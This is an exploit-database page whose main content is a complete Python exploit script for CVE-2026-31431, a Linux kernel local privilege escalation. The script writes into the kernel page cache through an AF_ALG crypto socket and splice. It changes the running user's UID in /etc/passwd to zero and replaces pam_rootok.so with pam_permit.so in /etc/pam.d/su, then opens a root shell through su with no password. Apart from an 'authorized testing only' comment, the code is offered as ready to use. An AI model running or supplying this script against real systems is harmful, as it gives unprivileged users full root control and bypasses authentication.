Exploit databaseDownload repository ZIP
GH-0acbe519775308c71c20b8868c76a042
mfloresdacunha/cve-2026-31431
Sources for CVE-2026-31431
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
mfloresdacunha/cve-2026-31431Revision 7f94049637f9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Python · 5,691 bytes#!/usr/bin/env python3
# CVE-2026-31431 ("Copy Fail") — automated root shell, no password required.
#
# Two page-cache patches applied before exec'ing su:
# 1. /etc/passwd — flip running user's UID field to "0000"
# 2. /etc/pam.d/su — replace pam_rootok.so with pam_permit.so (same length,
# 13 chars) so the "auth sufficient" line fires immediately
# and su skips all password prompts.
#
# Nothing is written to disk. Drop page cache or reboot to revert.
# AUTHORIZED TESTING ONLY.
import errno, os, pwd, socket, struct, sys
AF_ALG = 38
SOL_ALG = 279
ALG_NAME = "authencesn(hmac(sha256),cbc(aes))"
PASSWD = "/etc/passwd"
PAM_SU = "/etc/pam.d/su"
def authenc_keyblob(authkey: bytes, enckey: bytes) -> bytes:
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
return rtattr + keyparam + authkey + enckey
def write4(target_path: str, file_offset: int, four_bytes: bytes) -> None:
if len(four_bytes) != 4:
raise ValueError("write4 requires exactly 4 bytes")
fd = os.open(target_path, os.O_RDONLY)
try:
os.read(fd, 4096) # populate page cache
master = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
master.bind(("aead", ALG_NAME))
master.setsockopt(SOL_ALG, 1,
authenc_keyblob(b"\x00" * 32, b"\x00" * 16))
op, _ = master.accept()
try:
aad = b"\x00" * 4 + four_bytes # SPI || seqno_lo carries payload
cmsg = [
(SOL_ALG, 3, struct.pack("I", 0)), # ALG_OP_DECRYPT
(SOL_ALG, 2, struct.pack("I", 16) + b"\x00" * 16), # ALG_SET_IV
(SOL_ALG, 4, struct.pack("I", 8)), # ALG_SET_AEAD_ASSOCLEN
]
op.sendmsg([aad], cmsg, socket.MSG_MORE)
pr, pw = os.pipe()
try:
n = os.splice(fd, pw, 32, offset_src=file_offset)
if n != 32:
raise RuntimeError(f"splice file->pipe short: {n}")
n = os.splice(pr, op.fileno(), n)
if n != 32:
raise RuntimeError(f"splice pipe->op short: {n}")
finally:
os.close(pr)
os.close(pw)
try:
op.recv(64)
except OSError as e:
if e.errno not in (errno.EBADMSG, errno.EINVAL):
raise
finally:
op.close()
master.close()
finally:
os.close(fd)
def find_uid_field(path: str, username: str) -> tuple[int, str]:
with open(path, "rb") as f:
data = f.read()
needle = username.encode() + b":"
line_start = 0
while line_start < len(data):
if data.startswith(needle, line_start):
j = line_start + len(needle)
colon1 = data.index(b":", j)
uid_off = colon1 + 1
uid_end = data.index(b":", uid_off)
return uid_off, data[uid_off:uid_end].decode("ascii")
nl = data.find(b"\n", line_start)
if nl < 0:
break
line_start = nl + 1
raise LookupError(f"user {username!r} not found in {path}")
def patch_passwd(user: str) -> None:
uid_off, uid_str = find_uid_field(PASSWD, user)
print(f"[*] {PASSWD}: {user} UID field at offset {uid_off} = {uid_str!r}")
if len(uid_str) != 4:
raise RuntimeError(
f"UID '{uid_str}' is {len(uid_str)} chars; need a 4-digit UID (1000-9999)."
)
print(f"[*] Patching {uid_str!r} -> '0000' in page cache ...")
write4(PASSWD, uid_off, b"0000")
with open(PASSWD, "rb") as f:
f.seek(uid_off)
landed = f.read(4)
print(f"[*] Page cache now reads {landed!r} at offset {uid_off}")
if landed != b"0000":
raise RuntimeError("passwd patch did not land — kernel may be fixed.")
pwent = pwd.getpwnam(user)
print(f"[*] getpwnam({user!r}).pw_uid = {pwent.pw_uid}")
print(f"[+] /etc/passwd: {user} now appears as UID 0")
def patch_pam_su() -> None:
# pam_rootok.so → pam_permit.so (both 13 chars — two 4-byte writes):
# offset+4: r o o t → p e r m ("root" → "perm")
# offset+8: o k . s → i t . s ("ok" → "it", ".s" unchanged)
with open(PAM_SU, "rb") as f:
data = f.read()
off = data.find(b"pam_rootok.so")
if off < 0:
raise RuntimeError("pam_rootok.so not found in /etc/pam.d/su")
print(f"[*] {PAM_SU}: pam_rootok.so at offset {off}")
print(f"[*] Patching pam_rootok.so -> pam_permit.so in page cache ...")
write4(PAM_SU, off + 4, b"perm")
write4(PAM_SU, off + 8, b"it.s")
with open(PAM_SU, "rb") as f:
f.seek(off)
landed = f.read(13)
print(f"[*] Page cache now reads {landed!r} at offset {off}")
if landed != b"pam_permit.so":
raise RuntimeError("PAM patch did not land.")
print(f"[+] {PAM_SU}: auth sufficient pam_permit.so active — no password needed")
def main() -> int:
user = os.environ.get("TARGET_USER") or pwd.getpwuid(os.getuid()).pw_name
print(f"[*] CVE-2026-31431 user={user} uid={os.getuid()}")
try:
patch_passwd(user)
patch_pam_su()
except (LookupError, RuntimeError) as e:
print(f"[!] {e}")
return 1
print()
print(f"[+] Both patches landed. Dropping into root shell via `su {user}` ...")
print(f"[i] Cleanup when done: echo 3 | tee /proc/sys/vm/drop_caches")
print()
sys.stdout.flush()
os.execvp("su", ["su", user])
return 0 # unreachable
if __name__ == "__main__":
sys.exit(main())